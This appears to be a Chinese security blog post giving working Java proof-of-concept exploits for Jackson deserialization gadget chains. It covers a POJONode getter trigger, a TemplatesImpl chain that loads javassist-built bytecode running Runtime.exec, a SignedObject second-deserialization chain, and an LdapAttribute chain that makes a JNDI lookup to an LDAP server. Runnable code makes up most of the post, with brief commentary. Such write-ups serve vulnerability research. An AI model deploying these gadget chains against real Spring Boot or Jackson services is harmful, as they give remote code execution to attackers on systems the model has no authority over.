• JackSon反序列化通杀


    前言

    Springboot一般都会自带JackSon这个依赖包,JackSonFastjson有相同的功效

    简单复现

    package com.example.jakeson.demo;
    import java.io.IOException;
    import java.io.Serializable;
    
    public class User implements Serializable {
        public User() {
        }
    
        public Object getName() throws IOException {
            Runtime.getRuntime().exec("calc");
            return "1";
        }
    
        public Object setName(String name) {
            System.out.println("setname");
            return "2";
        }
    }
    
    package com.example.jakeson.demo;
    
    import com.fasterxml.jackson.databind.node.POJONode;
    
    public class JakesonDemo {
        public static void main(String[] args) {
            User user = new User();
            POJONode jsonNodes = new POJONode(user);
            jsonNodes.toString();
        }
    }
    

    运行即可弹计算器

    Jackson反序列化利用链

    注意点

    PoJoNode类是继承ValueNodeValueNode是继承BaseJsonNode类,我们看看BaseJsonNode

    它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,解决办法就是重写BaseJsonNode
    把这个writeReplace注释掉即可

    TemplatesImpl链

    package com.example.jakeson.demo;
    
    import com.fasterxml.jackson.databind.node.POJONode;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.*;
    import org.springframework.http.HttpEntity;
    import org.springframework.http.HttpHeaders;
    import org.springframework.http.ResponseEntity;
    import org.springframework.web.client.RestTemplate;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.URI;
    import java.util.Base64;
    
    public class TemplatesImplDemo {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[][] bytes = new byte[][]{ct.toBytecode()};
            Templates templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            POJONode pojoNode = new POJONode(templatesImpl);
            BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(exp,pojoNode);
            System.out.println(serial(exp));
            deserial(serial(exp));
        }
        public static String serial(Object o) throws IOException, NoSuchFieldException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(o);
            oos.close();
    
            String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
            return base64String;
    
        }
    
        public static void deserial(String data) throws Exception {
            byte[] base64decodedBytes = Base64.getDecoder().decode(data);
            ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();
        }
    }
    

    TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString
    进入到重写的BaseJsonNode类的toString方法
    中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter

    SignObject链

    二次反序列化,无需多讲

    package com.example.jakeson.demo;
    
    import com.fasterxml.jackson.databind.node.POJONode;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
    import javassist.ClassClassPath;
    import javassist.ClassPool;
    import javassist.CtClass;
    
    import javax.management.BadAttributeValueExpException;
    import javax.xml.transform.Templates;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.security.*;
    import java.util.Base64;
    
    public class SignObjectDemo {
        public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
            Field f = obj.getClass().getDeclaredField(fieldName);
            f.setAccessible(true);
            f.set(obj, value);
        }
        public static void main(String[] args) throws Exception {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
            CtClass ct = pool.makeClass("Cat");
            String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
            ct.makeClassInitializer().insertBefore(cmd);
            String randomClassName = "EvilCat" + System.nanoTime();
            ct.setName(randomClassName);
            ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
            byte[][] bytes = new byte[][]{ct.toBytecode()};
            Templates templatesImpl = new TemplatesImpl();
            setFieldValue(templatesImpl, "_bytecodes", bytes);
            setFieldValue(templatesImpl, "_name", "a");
            setFieldValue(templatesImpl, "_tfactory", null);
            POJONode pojoNode = new POJONode(templatesImpl);
            BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(exp,pojoNode);
            KeyPairGenerator keyPairGenerator;
            keyPairGenerator = KeyPairGenerator.getInstance("DSA");
            keyPairGenerator.initialize(1024);
            KeyPair keyPair = keyPairGenerator.genKeyPair();
            PrivateKey privateKey = keyPair.getPrivate();
            Signature signingEngine = Signature.getInstance("DSA");
            SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
            POJONode pojoNode2 = new POJONode(signedObject);
            BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
            Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val2.setAccessible(true);
            val2.set(exp2,pojoNode2);
            System.out.println(serial(exp2));
            deserial(serial(exp2));
        }
        public static String serial(Object o) throws IOException, NoSuchFieldException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(o);
            oos.close();
    
            String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
            return base64String;
    
        }
    
        public static void deserial(String data) throws Exception {
            byte[] base64decodedBytes = Base64.getDecoder().decode(data);
            ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();
        }
    }
    

    LdapAttribute链

    package com.example.jakeson.demo;
    import com.fasterxml.jackson.databind.node.POJONode;
    import javax.management.BadAttributeValueExpException;
    import javax.naming.CompositeName;
    import java.io.*;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.util.Base64;
    
    public class LdapAttributeDemo {
        public static void main( String[] args ) throws Exception {
            String ldapCtxUrl = "ldap://127.0.0.1:1099/";
            Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
            Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
                    new Class[] {String.class});
            ldapAttributeClazzConstructor.setAccessible(true);
            Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
                    new Object[] {"name"});
            Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
            baseCtxUrlField.setAccessible(true);
            baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
            Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
            rdnField.setAccessible(true);
            rdnField.set(ldapAttribute, new CompositeName("a//b"));
            POJONode jsonNodes = new POJONode(ldapAttribute);
            BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
            Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
            val.setAccessible(true);
            val.set(exp,jsonNodes);
            deserial(serial(exp));
        }
        public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(o);
            oos.close();
            String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
            return base64String;
    
        }
    
        public static void deserial(String data) throws Exception {
            byte[] base64decodedBytes = Base64.getDecoder().decode(data);
            ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
            ObjectInputStream ois = new ObjectInputStream(bais);
            ois.readObject();
            ois.close();
        }
        private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
            Field f = obj.getClass().getDeclaredField(field);
            f.setAccessible(true);
            f.set(obj, arg);
        }
    }
    

    LdapAttribute类中有getter方法调用了lookup

    两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,具体原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思路吧


    __EOF__

  • 本文作者: F12
  • 本文链接: https://www.cnblogs.com/f12-blog/p/18129942
  • 关于博主: 评论和私信会在第一时间回复。或者直接私信我。
  • 版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
  • 声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。
  • 相关阅读:
    玩碎Java之ThreadLocal的原理
    用katalon解决接口/自动化测试拦路虎--参数化
    R语言使用cut函数进行数据分组(binning):根据指定间隔(breaks)将数据拆分为组、设置labels参数指定分组的标签
    餐饮智能化:餐饮机器人正当时餐饮机器人的喜与忧
    stm32——GPIO学习
    python计算点到面的距离
    【统计分析】(task4) 应用随机过程(更新ing)
    macOS 安装软件提示 “已损坏,无法打开。 您应该将推出磁盘映像” 或 “已损坏,无法打开。 您应该将它移到废纸篓”,解决办法
    zemax场曲与消场曲
    Linux:进程控制
  • 原文地址:https://www.cnblogs.com/F12-blog/p/18129942